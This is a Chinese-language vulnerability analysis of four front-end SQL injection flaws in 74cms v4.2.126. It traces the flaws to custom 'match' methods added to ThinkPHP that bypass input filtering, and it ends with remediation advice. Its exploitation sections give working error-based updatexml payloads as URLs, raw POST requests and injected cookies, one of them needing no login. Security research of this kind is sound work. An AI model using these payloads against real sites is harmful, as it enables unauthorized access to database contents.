某cms v4.2.126-前台四处sql注入
字数 1405 2025-08-29 08:31:41
74cms v4.2.126 前台SQL注入漏洞分析
漏洞概述
74cms v4.2.126版本存在多处前台SQL注入漏洞,这些漏洞源于系统对ThinkPHP框架的修改导致的安全问题。攻击者可以利用这些漏洞在未授权或普通用户权限下执行任意SQL语句,获取数据库敏感信息。
环境准备
- 下载74cms基础版安装包
- 安装系统
- 如需本地升级,修改文件解决域名问题:
- 文件路径:
74cms\upload\Application\Admin\Controller\ApplyController.class.php - 将所有
$_SERVER['HTTP_HOST']改为http://baidu.com
- 文件路径:
漏洞原理
框架修改引入的安全问题
74cms基于ThinkPHP 3.2.3重构,但修改了框架底层,在Driver.class.php中新增了三个方法:
matchmatch_modematch_with
这些方法可以绕过ThinkPHP的I函数过滤机制。
I函数与过滤机制
ThinkPHP的I函数主要功能:
- 确定数据类型
- 对数据进行循环取值
- 调用
think_filter函数进行过滤
think_filter函数会在特定关键字后添加空格,如将in变为in ,从而防止SQL注入。
漏洞触发条件
当满足以下条件时,漏洞可利用:
- 使用
M()->where($test)->xx形式 - where中任意参数可控
- 参数不经过I函数过滤或不过滤双引号
漏洞位置与利用方式
第一处:company_focus 方法
文件路径:Application/Home/Controller/AjaxPersonalController.class.php
利用条件:
- 需要普通用户登录
利用方式:
http://target.com/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a
第二处:order_pay_finish 方法
文件路径:Application/Home/Controller/CompanyServiceController.class.php
利用条件:
- 需要企业用户登录
利用方式:
http://target.com/index.php?m=&c=CompanyService&a=order_pay_finish&order_id[0]=match&order_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a
第三处:register 方法
文件路径:Application/Home/Controller/MembersController.class.php
利用条件:
- 无需登录
利用方式:
POST /index.php?m=&c=Members&a=register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: members_uc_info[reg_type]=1;members_uc_info[utype]=2;members_uc_info[mobile][0]=match;members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;
reg_type=2&utype=2&ucenter=bind&unbind_mobile=1
参数说明:
reg_type=2:绕过注册判断utype=2:设置会员类型ucenter=bind:触发cookie合并到$data数组unbind_mobile=1:满足流程判断
第四处:oauth_reg 方法
文件路径:Application/Home/Controller/MembersController.class.php
利用条件:
- 需要普通用户或企业用户登录
利用方式:
POST /index.php?m=&c=Members&a=oauth_reg HTTP/1.1
Cookie: members_bind_info[type][0]=match;members_bind_info[type][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;
username=合法账号&password=对应密码
漏洞验证
可以使用以下Payload验证漏洞是否存在:
updatexml(1,concat(0x7e,(select user())),0)
如果返回包含数据库用户名的错误信息,则证明漏洞存在。
修复建议
- 升级到最新版本
- 对用户输入进行严格过滤,特别是双引号
- 修改框架底层,确保新增方法也经过安全过滤
- 对where条件中的参数进行类型检查
总结
这些漏洞源于74cms对ThinkPHP框架的修改不当,导致过滤机制被绕过。攻击者可以利用这些漏洞在无需高权限的情况下执行SQL注入攻击,获取敏感数据。建议用户及时升级或采取防护措施。